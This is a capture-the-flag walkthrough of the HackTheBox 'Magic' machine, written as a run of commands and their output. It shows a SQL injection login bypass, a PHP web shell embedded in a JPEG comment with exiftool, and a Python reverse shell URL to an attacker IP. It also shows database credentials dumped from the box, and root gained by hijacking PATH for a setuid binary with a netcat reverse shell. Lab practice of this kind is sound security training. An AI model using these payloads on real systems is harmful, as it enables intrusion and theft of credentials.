BASIC MYSQL

USE EXIFTOOL TO INJECT PHP BACKDOOR INTO JPEG FILE

MYSQL DUMP

SUID BID /bin/sysinfo

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)

| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)

|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)

80/tcp open http Apache httpd 2.4.29 ((Ubuntu))

|_http-server-header: Apache/2.4.29 (Ubuntu)

|_http-title: Magic Portfolio

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

root@kali:/home/kali/Desktop/hackthebox/magic# gobuster dir -u http://magic.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt

magic.htb/login.php

username:admin

password: ' OR 1=1 --

DOWNLOAD A JPEG FILE

root@kali:/home/kali/Desktop/hackthebox/magic# exiftool -Comment='<?php system($_REQUEST['cmd']); ?>' 5.jpeg

root@kali:/home/kali/Desktop/hackthebox/magic# mv akg.jpeg akg.php.jpeg

http://magic.htb/upload.php

http://magic.htb/images/uploads/akg.php.jpeg?cmd=ls

root@kali:/home/kali/Desktop/hackthebox/magic# nc -nlvp 4443

http://magic.htb/images/uploads/akg.php.jpeg?cmd=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.14.13%22,4443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27

SHELL GAINED!!!!!!

www-data@ubuntu:/var/www/Magic$ head db.php5

```
<?php
class Database
{
   private static $dbName = 'Magic' ;
   private static $dbHost = 'localhost' ;
   private static $dbUsername = 'theseus';
   private static $dbUserPassword = 'iamkingtheseus';

   private static $cont  = null;
```

mysqldump --databases Magic -utheseus -piamkingtheseus

```
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
```

www-data@ubuntu:/var/www/Magic$ su theseus

'Th3s3usW4sK1ng'

USER THESEUS!!!!!! Th3s3usW4sK1ng

theseus@ubuntu:/tmp$ find / -perm -u=s -type f 2>/dev/null

/bin/sysinfo

theseus@ubuntu:/tmp$ file /bin/sysinfo

/bin/sysinfo: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=9e9d26d004da0634c0747d16d377cd2a934e565a, not stripped

theseus@ubuntu:/tmp/magic$ strings /bin/sysinfo

====================Hardware Info====================

lshw -short

====================Disk Info====================

fdisk -l

====================CPU Info====================

cat /proc/cpuinfo

====================MEM Usage====================

free –h

root@kali:/home/kali/Desktop/hackthebox/magic# cp /usr/bin/nc .

root@kali:/home/kali/Desktop/hackthebox/magic# python -m SimpleHTTPServer 80

theseus@ubuntu:/tmp$ wget http://10.10.14.13/nc

theseus@ubuntu:/tmp$ echo "/tmp/nc -e /bin/bash 10.10.14.13 2345" >> fdisk

theseus@ubuntu:/tmp$ chmod +x fdisk nc

theseus@ubuntu:/tmp$ export PATH=/tmp:$PATH

root@kali:/home/kali/Desktop/hackthebox/magic# nc -nlvp 2345

theseus@ubuntu:/tmp$ sysinfo

ROOTED!!!!